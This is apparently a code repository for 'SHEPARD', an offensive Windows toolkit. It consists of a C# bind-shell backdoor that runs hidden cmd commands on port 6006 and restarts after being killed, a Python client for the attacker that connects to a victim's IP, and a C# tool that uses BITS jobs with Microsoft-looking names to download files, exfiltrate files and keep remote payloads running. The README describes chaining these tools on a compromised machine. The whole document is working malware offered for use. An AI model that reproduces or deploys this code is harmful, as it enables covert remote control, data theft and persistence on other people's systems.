├── BINDSHELL ├── shepardsbind.cs └── shepardsrecv.py ├── BITS ├── BITSReference1_5.dll └── shepard.cs └── README.md /BINDSHELL/shepardsbind.cs: -------------------------------------------------------------------------------- 1 | //C:\Windows\ImmersiveControlPanel 2 | using System; 3 | using System.Threading; 4 | using System.Diagnostics; 5 | using System.IO; 6 | using System.Net; 7 | using System.Net.Sockets; 8 | namespace shepshellserv 9 | { 10 | public class Backdoor 11 | { 12 | private TcpListener listener; 13 | private Socket socket; 14 | private Process shell; 15 | private StreamReader reader; 16 | private StreamWriter writer; 17 | private StreamReader inStream; 18 | private StreamWriter outStream; 19 | private Thread shellThread; 20 | 21 | public Backdoor() { startServer(); } 22 | 23 | public static void Main(String[] args) 24 | { 25 | Backdoor backdoor = new Backdoor(); 26 | } 27 | 28 | public void startServer() // starts the listener and streams 29 | { 30 | try 31 | { 32 | int port = 6006; // port the bind shell listens on 33 | 34 | try 35 | { 36 | listener = new TcpListener(port); 37 | listener.Start(); 38 | socket = listener.AcceptSocket(); 39 | } 40 | catch (Exception) { } 41 | 42 | Stream s = new NetworkStream(socket); 43 | inStream = new StreamReader(s); 44 | outStream = new StreamWriter(s); 45 | outStream.AutoFlush = true; 46 | 47 | startCMD(); // create cmd instance 48 | writer = shell.StandardInput; 49 | reader = shell.StandardOutput; 50 | writer.AutoFlush = true; 51 | 52 | shellThread = new Thread(new ThreadStart(getShellInput)); 53 | shellThread.Start(); 54 | 55 | getInput(); // get command input to run from server 56 | burn(); // 57 | 58 | } 59 | catch (Exception) { burn(); } 60 | } 61 | 62 | void startCMD() 63 | { 64 | shell = new Process(); 65 | shell.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; 66 | 67 | ProcessStartInfo p = new ProcessStartInfo("cmd"); 68 | p.WindowStyle = ProcessWindowStyle.Hidden; 69 | p.CreateNoWindow = true; 70 | p.UseShellExecute = false; 71 | p.RedirectStandardError = true; 72 | p.RedirectStandardInput = true; 73 | p.RedirectStandardOutput = true; 74 | shell.StartInfo = p; 75 | 76 | shell.Start(); 77 | } 78 | void getShellInput() 79 | { 80 | try 81 | { 82 | 83 | String tempBuf = ""; 84 | outStream.WriteLine("\r\n"); 85 | while ((tempBuf = reader.ReadLine()) != null) 86 | { 87 | outStream.WriteLine(tempBuf + "\r"); // contents + endline to buffer 88 | } 89 | burn(); 90 | } 91 | catch (Exception) { } 92 | } 93 | 94 | private void getInput() 95 | { 96 | try 97 | { 98 | String tempBuff = ""; 99 | while (((tempBuff = inStream.ReadLine()) != null)) 100 | { 101 | handleCommand(tempBuff); // execute command through CMD 102 | } 103 | } 104 | 105 | catch (Exception) { } 106 | } 107 | 108 | private void handleCommand(String input) 109 | { 110 | try 111 | { 112 | 113 | if (input.Equals("quit") || input.Equals("exit")) 114 | { 115 | burn(); // errors out the program, restarting the shell in 30 seconds 116 | } 117 | else if (input.Equals("help")) 118 | { 119 | outStream.WriteLine(@" 120 | _____ _ _ _____ ______ ___ ______ ______ _ _____ ______ _____ _ _ ______ 121 | / ___| | | | | | ___| | ___ \ / _ \ | ___ \ | _ \ ( ) / ___| | ___ \ |_ _| | \ | | | _ \ 122 | \ `--. | |_| | | |__ | |_/ / / /_\ \ | |_/ / | | | | |/ \ `--. | |_/ / | | | \| | | | | | 123 | `--. \ | _ | | __| | __/ | _ | | / | | | | `--. \ | ___ \ | | | . ` | | | | | 124 | /\__/ / | | | | | |___ | | | | | | | |\ \ | |/ / /\__/ / | |_/ / _| |_ | |\ | | |/ / 125 | \____/ \_| |_/ \____/ \_| \_| |_/ \_| \_| |___/ \____/ \____/ \___/ \_| \_/ |___/ 126 | 127 | % d3adzo % 128 | Use this bind shell to execute any Windows commands. 129 | Sending the command will bring this up again. 130 | Sending the command will restart the shell in 30 seconds. 131 | "); 132 | writer.WriteLine("EOFX\r\n"); // EOFX is my way of determining when output is finished 133 | } 134 | else 135 | { 136 | writer.WriteLine(input + "\r\n"); 137 | writer.WriteLine("EOFX\r\n"); 138 | } 139 | 140 | } 141 | catch (Exception) { burn(); } 142 | } 143 | 144 | 145 | private void burn() // shuts down shell 146 | { 147 | shell.Close(); 148 | shell.Dispose(); 149 | shellThread = null; 150 | inStream.Dispose(); 151 | outStream.Dispose(); 152 | writer.Dispose(); 153 | reader.Dispose(); 154 | shell.Dispose(); 155 | socket.Close(); 156 | listener.Stop(); 157 | 158 | throw new Exception(); //shepard restarts on error out 159 | } 160 | 161 | } 162 | } 163 | -------------------------------------------------------------------------------- /BINDSHELL/shepardsrecv.py: -------------------------------------------------------------------------------- 1 | import socket, sys 2 | 3 | host = sys.argv[1] # victim ip to connect to 4 | port = 6006 # port to connect to 5 | 6 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 7 | try: 8 | s.connect((host, port)) # creating the socket 9 | except: 10 | print('could not connect to ' + host + ' on ' + port) 11 | exit() 12 | print("Connected on port: " + str(port)) 13 | nextcmd = 'help' 14 | s.sendall((nextcmd + '\r\n').encode()) # sending command to victim process 15 | 16 | while True: 17 | data = s.recv(4096) 18 | while 'EOFX' not in data.decode(): # EOFX is my way of determining when output is finished 19 | data += s.recv(4096) 20 | datarr = data.decode().split('\r\n') 21 | for line in datarr[:-3]: 22 | print(line) 23 | print("Current path: " + datarr[-3]) 24 | nextcmd = input("%SBS% ") # prompt for command input 25 | if nextcmd == 'quit': 26 | nextcmd += '\r\n' 27 | s.sendall(nextcmd.encode()) 28 | s.close() 29 | break 30 | else: 31 | nextcmd += '\r\n' 32 | s.sendall(nextcmd.encode()) # send command to victim machine 33 | -------------------------------------------------------------------------------- /BITS/BITSReference1_5.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d3adzo/shepard/68cbcbeeb453523a60b3f1be14b088cb0c166a4a/BITS/BITSReference1_5.dll -------------------------------------------------------------------------------- /BITS/shepard.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using BITS = BITSReference1_5; // reference library used 4 | 5 | 6 | namespace shepard 7 | { 8 | class JobObj 9 | { 10 | static BITS.BackgroundCopyManager1_5 mgr; 11 | static BITS.GUID jobGuid; 12 | static BITS.IBackgroundCopyJob job; 13 | static JobObj jo; 14 | 15 | public JobObj() 16 | { 17 | mgr = new BITS.BackgroundCopyManager1_5(); // instantiate BITS Manager Object 18 | } 19 | 20 | //Usage params: url or ip:port, full path 21 | private void downloadFile(string name, string remoteLoc, string writeLoc) 22 | { 23 | mgr.CreateJob(name, BITS.BG_JOB_TYPE.BG_JOB_TYPE_DOWNLOAD, out jobGuid, out job); 24 | job.AddFile(remoteLoc, writeLoc); 25 | jo.executeBITSJob(); // normal BITS function 26 | 27 | } 28 | 29 | //Usage params: url or ip:port, full path 30 | private void exfiltrateFile(string name, string remoteLoc, string writeLoc) 31 | { 32 | mgr.CreateJob(name, BITS.BG_JOB_TYPE.BG_JOB_TYPE_UPLOAD, out jobGuid, out job); 33 | job.AddFile(remoteLoc, writeLoc); 34 | jo.executeBITSJob(); // normal BITS function 35 | } 36 | 37 | //Default execution of a BITS Job, fully completes 38 | private void executeBITSJob() 39 | { 40 | job.Resume(); 41 | bool jobIsFinal = false; 42 | while (!jobIsFinal) 43 | { 44 | BITS.BG_JOB_STATE state; 45 | job.GetState(out state); 46 | switch (state) 47 | { 48 | case BITS.BG_JOB_STATE.BG_JOB_STATE_ERROR: 49 | System.Threading.Thread.Sleep(500); // delay a little bit 50 | break; 51 | case BITS.BG_JOB_STATE.BG_JOB_STATE_TRANSFERRED: 52 | job.Complete(); 53 | break; 54 | 55 | case BITS.BG_JOB_STATE.BG_JOB_STATE_ACKNOWLEDGED: 56 | jobIsFinal = true; 57 | break; 58 | 59 | default: 60 | System.Threading.Thread.Sleep(500); // delay a little bit 61 | break; 62 | } 63 | } 64 | } 65 | 66 | //Usage: BITS job name, file path, "file args" 67 | private void persist(string remote, string filePath, string cmdArgs) 68 | { 69 | string name = "Microsoft Example BD_1"; 70 | jo.downloadFile(name, remote, filePath); //initial download, completes 71 | 72 | mgr.CreateJob(name, BITS.BG_JOB_TYPE.BG_JOB_TYPE_DOWNLOAD, out jobGuid, out job); 73 | 74 | job.AddFile(remote, filePath); 75 | jo.commandExec(job, filePath, cmdArgs); 76 | job.SetMinimumRetryDelay(30); 77 | 78 | job.Resume(); // this downloads the file and keeps it in a persistent running state 79 | //System.Threading.Thread.Sleep(1000); 80 | //job.Suspend(); 81 | } 82 | 83 | private void commandExec(BITS.IBackgroundCopyJob job, string filename, string args) 84 | { 85 | var job2 = job as BITS.IBackgroundCopyJob2; // cast to CopyJob2 so cmd execution can occur 86 | job2.SetNotifyCmdLine(filename, args); 87 | } 88 | 89 | public static void Main(string[] args) 90 | { 91 | 92 | if (args.Length == 0) { return; } // close out the program if no arguments given 93 | 94 | jo = new JobObj(); 95 | 96 | string switchCase = args[0]; 97 | 98 | switch (switchCase) 99 | { 100 | case "-d": 101 | if (args.Length == 3) 102 | { 103 | jo.downloadFile("Microsoft Example QD_1", args[1], args[2]); // download file using BITS 104 | break; 105 | } 106 | return; 107 | case "-e": 108 | if (args.Length == 3) 109 | { 110 | jo.exfiltrateFile("Microsoft Example QE_1", args[1], args[2]); // upload file using BITS 111 | break; 112 | } 113 | return; 114 | case "-dr": 115 | if (args.Length == 4) // program has command line args 116 | { 117 | jo.persist(args[1], args[2], args[3]); // download file and peristently run 118 | break; 119 | } 120 | else if (args.Length == 3) // program should just be run like normal 121 | { 122 | jo.persist(args[1], args[2], ""); // download file and peristently run 123 | break; 124 | } 125 | return; 126 | default: 127 | return; // close out the program 128 | } 129 | 130 | } 131 | 132 | } 133 | } 134 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SHEPARD 2 | 3 | ## BITS 4 | 5 | This is a persistance tool using Windows Background Intelligent Transfer Service (BITS). 6 | 7 | ### Functionality 8 | 9 | File Download, File Exfiltration, File Download + Persistent Execution 10 | 11 | ### Usage 12 | 13 | Run shepard.exe as Administrator with the following command line arguments: 14 | 15 | `-d ` : regular file download to a local path of your choice 16 | 17 | `-e ` : regular file upload from a local path of your choice (only sends to IIS server, this is a limitation with BITS) 18 | 19 | `-dr [optionalFileArgs]` : file download to a path of your choice, and will attempt to maintain persitance. The downloaded file will attempt to run with optionalFileArgs and BITS will check back every 30 seconds to make sure the file is still running on the compromised system. 20 | 21 | Running this executable with no arguments or an incorrect amount of arguments will cause shepard to exit cleanly. 22 | 23 | ## BINDSHELL 24 | 25 | The server (victim) is written using C#. It listens on port 6006. 26 | 27 | ### Victim Usage 28 | 29 | Run shepardsbind_serv.exe with no arguments. 30 | 31 | The client (attacker) is written using Python and takes one argument: the IP address of the victim's machine. 32 | 33 | ### Server Usage 34 | 35 | `shepardsbind_recv.py ` 36 | 37 | Running shepardsbind_recv.py with no arguments will return an error. 38 | 39 | ## Using them in conjunction 40 | 41 | The only executable that must be on the victim's machine is shepard.exe. Host the download bindshell executable to a publicly accessible place. 42 | Shepard will download and run the bindshell executable, and the user can now use the python reciever. If the shell is found and killed, it will restart after 30 seconds. 43 | 44 | Example: `shepard.exe -dr http://location.com/shepardsbind_serv.exe C:\Users\Administrator\file.exe` 45 | --------------------------------------------------------------------------------